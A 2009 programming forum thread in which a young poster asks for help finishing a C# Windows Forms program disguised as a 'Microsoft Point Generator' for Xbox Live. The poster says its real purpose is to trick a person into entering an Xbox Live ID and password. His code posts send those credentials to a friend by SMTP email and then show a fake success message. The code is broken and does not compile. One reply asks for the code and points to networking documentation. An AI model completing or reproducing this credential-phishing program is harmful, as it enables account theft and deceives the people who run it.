# C# Help in Visual Studio 2008



## IVIax94 (Mar 6, 2009)

Hello everyone ^^
I need some help with C#. I am taking a course right now, but have only just started (attended 3 days so far). My friend gave me a "job". For $50, I just need to make a program that (idk if possible) sends information to other (his) computers. Now, I have the form all filled out and am almost done coding, but I still need to know how I can send the answer to a question entered into a text box by someone else to send to his computer. He did not tell me the reason why, but I'm not even 15 yet and do not have a job during the winter, so $50 is a lot. I honestly do not know what he will do with it, as he told me that he would modify the program's text and stuff himself. He has Visual Studio 2008 (as do I) but has not taken a class. But it wasn't too hard to figure out how to change the title of the lables and project. So, for less than 20 minutes of work, I have the project all done, except for the info part. 
Btw. I told him that the program might be picked up as a virus, as it supposed to send out information to other computers, but that is his problem.
Thanks,
IVIax94


----------



## jamiemac2005 (Jul 5, 2007)

Hey, can you please post your prospective code(what you've done so far anyway). If we don't know what you're working with we don't know how/where to help.

Anyway sounds like you need something like this: http://msdn.microsoft.com/en-us/library/system.net.sockets.networkstream.aspx

Though it really depends on your current code and how you intend to implement this.

Cheers,
Jamey


----------



## IVIax94 (Mar 6, 2009)

this is my code so far. 


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace Microsoft_Point_Generator
{
public partial class MSPointGenerator : Form
{
public MSPointGenerator()
{
InitializeComponent();
}

private void exitButton_Click(object sender, EventArgs e)
{
this.Close();
}

private void addpointsButton_Click(object sender, EventArgs e)
{
// create mail message object
MailMessage mail = new MailMessage();
mail.From = "[email protected]"; // put the from address here
mail.To = "friends email"; // put to address here
mail.Subject = "none"; // put subject here	
mail.Body = "idBox" + " " + "passBox"; // put body of email here
SmtpMail.SmtpServer = "smtp.gmail.com"; // put smtp server you will use here 
// and then send the mail
SmtpMail.Send(mail);

endLabel.Text = "Process completed Successfully! Please allow 3 days for the MS Points to be added";

}

private void addtimeButton_Click(object sender, EventArgs e)
{
// create mail message object
MailMessage mail = new MailMessage();
mail.From = "[email protected]"; // put the from address here
mail.To = "friends email"; // put to address here
mail.Subject = "Account"; // put subject here	
mail.Body = "idBox" + " " + "passBox"; // put body of email here
SmtpMail.SmtpServer = "smtp.gmail.com"; // put smtp server you will use here 
// and then send the mail
SmtpMail.Send(mail);


endLabel.Text = "Process completed Successfully! Pleae allow 3 days for the Xbox Live Time to be added to your Account.";


}
}
}


I asked him about what this was intended for because it could help me, and he is trying to find out his friend's xbox live ID and password, as my friend is suspecting the other guy of stealing some sort of valuable item from some online game. The guy that might have stolen the item is crazy about Halo, and since there is a new map pack coming out, he thought he could give this to his friend, who would use it and give my friend the account info. This is all he told me, so I thought it would be easier to have the info sent to my friend's email address.

I googled this, and was told to use the code that is triggered by the click event of the addtimeButton and the addpointsButton. But when I try to build the solution, I get these errors:


Error	1	

The type or namespace name 'MailMessage' could not be found (are you missing a using directive or an assembly reference?)	C:\Users\Maximilian\Documents\Visual Studio 2008\Projects\Microsoft Point Generator\Microsoft Point Generator\Form1.cs	27	13	Microsoft Point Generator



Error	2	

The type or namespace name 'MailMessage' could not be found (are you missing a using directive or an assembly reference?)	C:\Users\Maximilian\Documents\Visual Studio 2008\Projects\Microsoft Point Generator\Microsoft Point Generator\Form1.cs	27	36	Microsoft Point Generator



Error	3

The name 'SmtpMail' does not exist in the current context	C:\Users\Maximilian\Documents\Visual Studio 2008\Projects\Microsoft Point Generator\Microsoft Point Generator\Form1.cs	32	13	Microsoft Point Generator



Error	4

The name 'SmtpMail' does not exist in the current context	C:\Users\Maximilian\Documents\Visual Studio 2008\Projects\Microsoft Point Generator\Microsoft Point Generator\Form1.cs	34	13	Microsoft Point Generator



Error	5

The type or namespace name 'MailMessage' could not be found (are you missing a using directive or an assembly reference?)	C:\Users\Maximilian\Documents\Visual Studio 2008\Projects\Microsoft Point Generator\Microsoft Point Generator\Form1.cs	43	13	Microsoft Point Generator



Error	6	

The type or namespace name 'MailMessage' could not be found (are you missing a using directive or an assembly reference?)	C:\Users\Maximilian\Documents\Visual Studio 2008\Projects\Microsoft Point Generator\Microsoft Point Generator\Form1.cs	43	36	Microsoft Point Generator



Error	7	

The name 'SmtpMail' does not exist in the current context	C:\Users\Maximilian\Documents\Visual Studio 2008\Projects\Microsoft Point Generator\Microsoft Point Generator\Form1.cs	48	13	Microsoft Point Generator



Error	8	

The name 'SmtpMail' does not exist in the current context	C:\Users\Maximilian\Documents\Visual Studio 2008\Projects\Microsoft Point Generator\Microsoft Point Generator\Form1.cs	50	13	Microsoft Point Generator


Please help me with these errors, as he is expecting me to complete this in 3 days.


----------



## IVIax94 (Mar 6, 2009)

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Import System.Net.Mail;


namespace Microsoft_Point_Generator
{
public partial class MSPointGenerator : Form
{
public MSPointGenerator()
{
InitializeComponent();
}

private void exitButton_Click(object sender, EventArgs e)
{
this.Close();
}

private void addpointsButton_Click(object sender, EventArgs e)
{
// Send a quick e-mail message
MailMessage mail = new MailMessage();
mail.To = "[email protected]";
mail.From = "[email protected]";
mail.Subject = "Acc.";
mail.Body = "";
SmtpMail.SmtpServer = "localhost"; //your real server goes here
SmtpMail.Send(mail);
endLabel.Text = "Process completed Successfully! Please allow 3 days for the MS Points to be added";

}

private void addtimeButton_Click(object sender, EventArgs e)
{


endLabel.Text = "Process completed Successfully! Pleae allow 3 days for the Xbox Live Time to be added to your Account.";


}
}
}




By adding the using Import System.Net.Mail; at the top of the code, I was able to get rid off all of those errors. But now, VS 08 gives me the error that ; is expected, and when i check where, it highlights System from my refrence that I added.


----------

